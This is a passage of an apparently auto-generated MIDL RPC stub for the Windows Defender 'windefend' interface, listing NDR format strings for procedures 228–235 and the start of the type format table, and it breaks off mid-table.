*/ + + /* Procedure Proc228_ServerMpRpcGetRnBWFPFilters */ + +/* 13048 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13050 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13054 */ NdrFcShort( 0xe4 ), /* 228 */ +/* 13056 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13058 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13060 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13062 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13064 */ NdrFcShort( 0x40 ), /* 64 */ +/* 13066 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 13068 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 13070 */ NdrFcShort( 0x1 ), /* 1 */ +/* 13072 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13074 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13076 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13078 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13080 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13082 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13084 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 13086 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13088 */ NdrFcShort( 0x1192 ), /* Type Offset=4498 */ + + /* Parameter arg_3 */ + +/* 13090 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13092 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13094 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13096 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13098 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13100 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc229_ServerMpRpcRemoveRnBWFPFilter */ + +/* 13102 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13104 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13108 */ NdrFcShort( 0xe5 ), /* 229 */ +/* 13110 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13112 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13114 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13116 */ NdrFcShort( 0x44 ), /* 68 */ +/* 13118 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13120 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 13122 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13124 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13126 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13128 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13130 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13132 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 13134 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13136 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 13138 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13140 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13142 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13144 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13146 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13148 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc230_ServerMpRpcSenseTriggerToast */ + +/* 13150 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13152 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13156 */ NdrFcShort( 0xe6 ), /* 230 */ +/* 13158 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13160 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13162 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13164 */ NdrFcShort( 0x8 ), /* 8 */ +/* 13166 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13168 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 13170 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13172 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13174 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13176 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13178 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13180 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13182 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13184 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13186 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13188 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13190 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13192 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13194 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13196 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc231_ServerMpRpcWddControl */ + +/* 13198 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13200 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13204 */ NdrFcShort( 0xe7 ), /* 231 */ +/* 13206 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 13208 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13210 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13212 */ NdrFcShort( 0x10 ), /* 16 */ +/* 13214 */ NdrFcShort( 0x40 ), /* 64 */ +/* 13216 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 13218 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 13220 */ NdrFcShort( 0x1 ), /* 1 */ +/* 13222 */ NdrFcShort( 0x1 ), /* 1 */ +/* 13224 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13226 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13228 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13230 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13232 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13234 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 13236 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13238 */ NdrFcShort( 0x11d2 ), /* Type Offset=4562 */ + + /* Parameter arg_3 */ + +/* 13240 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13242 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13244 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 13246 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 13248 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13250 */ NdrFcShort( 0x11e2 ), /* Type Offset=4578 */ + + /* Parameter arg_5 */ + +/* 13252 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13254 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13256 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 13258 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13260 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 13262 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13264 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13266 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 13268 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc232_ServerMpRpcTemporaryExclusionAction */ + +/* 13270 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13272 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13276 */ NdrFcShort( 0xe8 ), /* 232 */ +/* 13278 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13280 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13282 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13284 */ NdrFcShort( 0x8 ), /* 8 */ +/* 13286 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13288 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 13290 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13292 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13294 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13296 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13298 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13300 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13302 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13304 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13306 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13308 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13310 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 13312 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13314 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13316 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13318 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13320 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13322 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc233_ServerMpOnDemandCancelScan */ + +/* 13324 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13326 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13330 */ NdrFcShort( 0xe9 ), /* 233 */ +/* 13332 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13334 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 13336 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13338 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 13340 */ NdrFcShort( 0x2c ), /* 44 */ +/* 13342 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13344 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 13346 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13348 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13350 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13352 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13354 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 13356 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 13358 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13360 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 13362 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13364 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13366 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13368 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13370 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13372 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13374 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13376 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13378 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc234_ServerMpRpcSCCForceReset */ + +/* 13380 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13382 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13386 */ NdrFcShort( 0xea ), /* 234 */ +/* 13388 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13390 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13392 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13394 */ NdrFcShort( 0x8 ), /* 8 */ +/* 13396 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13398 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 13400 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 13402 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13404 */ NdrFcShort( 0x1 ), /* 1 */ +/* 13406 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13408 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13410 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13412 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13414 */ NdrFcShort( 0x1030 ), /* Type Offset=4144 */ + + /* Parameter arg_2 */ + +/* 13416 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13418 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13420 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 13422 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13424 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13426 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13428 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13430 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13432 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc235_ServerMpRpcPublishModularConfig */ + +/* 13434 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13436 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13440 */ NdrFcShort( 0xeb ), /* 235 */ +/* 13442 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 13444 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13446 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13448 */ NdrFcShort( 0x8 ), /* 8 */ +/* 13450 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13452 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 13454 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13456 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13458 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13460 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13462 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13464 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13466 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13468 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 13470 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13472 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13474 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 13476 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13478 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13480 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 13482 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13484 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13486 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13488 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13490 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13492 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + 0x0 + } + }; + +static const windefend_MIDL_TYPE_FORMAT_STRING windefend__MIDL_TypeFormatString = + { + 0, + { + NdrFcShort( 0x0 ), /* 0 */ +/* 2 */ + 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */ +/* 4 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x5c, /* FC_PAD */ +/* 6 */ + 0x11, 0x0, /* FC_RP */ +/* 8 */ NdrFcShort( 0x88 ), /* Offset= 136 (144) */ +/* 10 */ + 0x1d, /* FC_SMFARRAY */ + 0x0, /* 0 */ +/* 12 */ NdrFcShort( 0x8 ), /* 8 */ +/* 14 */ 0x1, /* FC_BYTE */ + 0x5b, /* FC_END */ +/* 16 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 18 */ NdrFcShort( 0x10 ), /* 16 */ +/* 20 */ 0x8, /* FC_LONG */ + 0x6, /* FC_SHORT */ +/* 22 */ 0x6, /* FC_SHORT */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 24 */ 0x0, /* 0 */ + NdrFcShort( 0xfff1 ), /* Offset= -15 (10) */ + 0x5b, /* FC_END */ +/* 28 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 30 */ NdrFcShort( 0x8 ), /* 8 */ +/* 32 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 34 */ + 0x1d, /* FC_SMFARRAY */ + 0x3, /* 3 */ +/* 36 */ NdrFcShort( 0x10 ), /* 16 */ +/* 38 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 40 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 42 */ NdrFcShort( 0x18 ), /* 24 */ +/* 44 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 46 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 48 */ NdrFcShort( 0xfff2 ), /* Offset= -14 (34) */ +/* 50 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 52 */ + 0x1d, /* FC_SMFARRAY */ + 0x7, /* 7 */ +/* 54 */ NdrFcShort( 0x20 ), /* 32 */ +/* 56 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 58 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 60 */ NdrFcShort( 0x48 ), /* 72 */ +/* 62 */ NdrFcShort( 0x0 ), /* 0 */ +/* 64 */ NdrFcShort( 0x0 ), /* Offset= 0 (64) */ +/* 66 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 68 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 70 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 72 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 74 */ NdrFcShort( 0xffea ), /* Offset= -22 (52) */ +/* 76 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 78 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 80 */ NdrFcShort( 0x90 ), /* 144 */ +/* 82 */ NdrFcShort( 0x0 ), /* 0 */ +/* 84 */ NdrFcShort( 0x0 ), /* Offset= 0 (84) */ +/* 86 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 88 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 90 */ NdrFcShort( 0xffb6 ), /* Offset= -74 (16) */ +/* 92 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 94 */ NdrFcShort( 0xffbe ), /* Offset= -66 (28) */ +/* 96 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 98 */ NdrFcShort( 0xffba ), /* Offset= -70 (28) */ +/* 100 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 102 */ NdrFcShort( 0xffc2 ), /* Offset= -62 (40) */ +/* 104 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 106 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (58) */ +/* 108 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 110 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 112 */ NdrFcShort( 0x4 ), /* 4 */ +/* 114 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 116 */ + 0x1d, /* FC_SMFARRAY */ + 0x3, /* 3 */ +/* 118 */ NdrFcShort( 0x10 ), /* 16 */ +/* 120 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 122 */ NdrFcShort( 0xfff4 ), /* Offset= -12 (110) */ +/* 124 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 126 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 128 */ NdrFcShort( 0x8 ), /* 8 */ +/* 130 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 132 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 134 */ + 0x1d, /* FC_SMFARRAY */ + 0x3, /* 3 */ +/* 136 */ NdrFcShort( 0x58 ), /* 88 */ +/* 138 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 140 */ NdrFcShort( 0xfff2 ), /* Offset= -14 (126) */ +/* 142 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 144 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 146 */ NdrFcShort( 0x1b0 ), /* 432 */ +/* 148 */ NdrFcShort( 0x0 ), /* 0 */ +/* 150 */ NdrFcShort( 0x0 ), /* Offset= 0 (150) */ +/* 152 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 154 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 156 */ NdrFcShort( 0xffb2 ), /* Offset= -78 (78) */ +/* 158 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 160 */ NdrFcShort( 0xffae ), /* Offset= -82 (78) */ +/* 162 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 164 */ NdrFcShort( 0xff84 ), /* Offset= -124 (40) */ +/* 166 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 168 */ NdrFcShort( 0xffcc ), /* Offset= -52 (116) */ +/* 170 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 172 */ NdrFcShort( 0xffda ), /* Offset= -38 (134) */ +/* 174 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 176 */ NdrFcShort( 0xff6c ), /* Offset= -148 (28) */ +/* 178 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 180 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 182 */ NdrFcShort( 0xff5a ), /* Offset= -166 (16) */ +/* 184 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 186 */ NdrFcShort( 0x2 ), /* Offset= 2 (188) */ +/* 188 */ 0x30, /* FC_BIND_CONTEXT */ + 0xa0, /* Ctxt flags: via ptr, out, */ +/* 190 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 192 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 194 */ NdrFcShort( 0x2 ), /* Offset= 2 (196) */ +/* 196 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */ +/* 198 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 200 */ 0x30, /* FC_BIND_CONTEXT */ + 0x41, /* Ctxt flags: in, can't be null */ +/* 202 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 204 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 206 */ NdrFcShort( 0x2 ), /* Offset= 2 (208) */ +/* 208 */ + 0x12, 0x0, /* FC_UP */ +/* 210 */ NdrFcShort( 0x2f8 ), /* Offset= 760 (970) */ +/* 212 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 214 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 216 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 218 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 220 */ NdrFcShort( 0x2 ), /* Offset= 2 (222) */ +/* 222 */ NdrFcShort( 0x8 ), /* 8 */ +/* 224 */ NdrFcShort( 0x15 ), /* 21 */ +/* 226 */ NdrFcLong( 0x1 ), /* 1 */ +/* 230 */ NdrFcShort( 0x7c ), /* Offset= 124 (354) */ +/* 232 */ NdrFcLong( 0x3 ), /* 3 */ +/* 236 */ NdrFcShort( 0xe0 ), /* Offset= 224 (460) */ +/* 238 */ NdrFcLong( 0x4 ), /* 4 */ +/* 242 */ NdrFcShort( 0x11c ), /* Offset= 284 (526) */ +/* 244 */ NdrFcLong( 0x5 ), /* 5 */ +/* 248 */ NdrFcShort( 0x12c ), /* Offset= 300 (548) */ +/* 250 */ NdrFcLong( 0x2 ), /* 2 */ +/* 254 */ NdrFcShort( 0x13e ), /* Offset= 318 (572) */ +/* 256 */ NdrFcLong( 0x6 ), /* 6 */ +/* 260 */ NdrFcShort( 0x14a ), /* Offset= 330 (590) */ +/* 262 */ NdrFcLong( 0x7 ), /* 7 */ +/* 266 */ NdrFcShort( 0xae ), /* Offset= 174 (440) */ +/* 268 */ NdrFcLong( 0x8 ), /* 8 */ +/* 272 */ NdrFcShort( 0x156 ), /* Offset= 342 (614) */ +/* 274 */ NdrFcLong( 0x9 ), /* 9 */ +/* 278 */ NdrFcShort( 0x170 ), /* Offset= 368 (646) */ +/* 280 */ NdrFcLong( 0xa ), /* 10 */ +/* 284 */ NdrFcShort( 0x1a2 ), /* Offset= 418 (702) */ +/* 286 */ NdrFcLong( 0xc ), /* 12 */ +/* 290 */ NdrFcShort( 0x1c2 ), /* Offset= 450 (740) */ +/* 292 */ NdrFcLong( 0xd ), /* 13 */ +/* 296 */ NdrFcShort( 0x1dc ), /* Offset= 476 (772) */ +/* 298 */ NdrFcLong( 0xe ), /* 14 */ +/* 302 */ NdrFcShort( 0x1da ), /* Offset= 474 (776) */ +/* 304 */ NdrFcLong( 0xf ), /* 15 */ +/* 308 */ NdrFcShort( 0x1e8 ), /* Offset= 488 (796) */ +/* 310 */ NdrFcLong( 0x10 ), /* 16 */ +/* 314 */ NdrFcShort( 0x7e ), /* Offset= 126 (440) */ +/* 316 */ NdrFcLong( 0x11 ), /* 17 */ +/* 320 */ NdrFcShort( 0x78 ), /* Offset= 120 (440) */ +/* 322 */ NdrFcLong( 0x12 ), /* 18 */ +/* 326 */ NdrFcShort( 0x1ea ), /* Offset= 490 (816) */ +/* 328 */ NdrFcLong( 0x13 ), /* 19 */ +/* 332 */ NdrFcShort( 0x1f8 ), /* Offset= 504 (836) */ +/* 334 */ NdrFcLong( 0x14 ), /* 20 */ +/* 338 */ NdrFcShort( 0x202 ), /* Offset= 514 (852) */ +/* 340 */ NdrFcLong( 0x15 ), /* 21 */ +/* 344 */ NdrFcShort( 0x218 ), /* Offset= 536 (880) 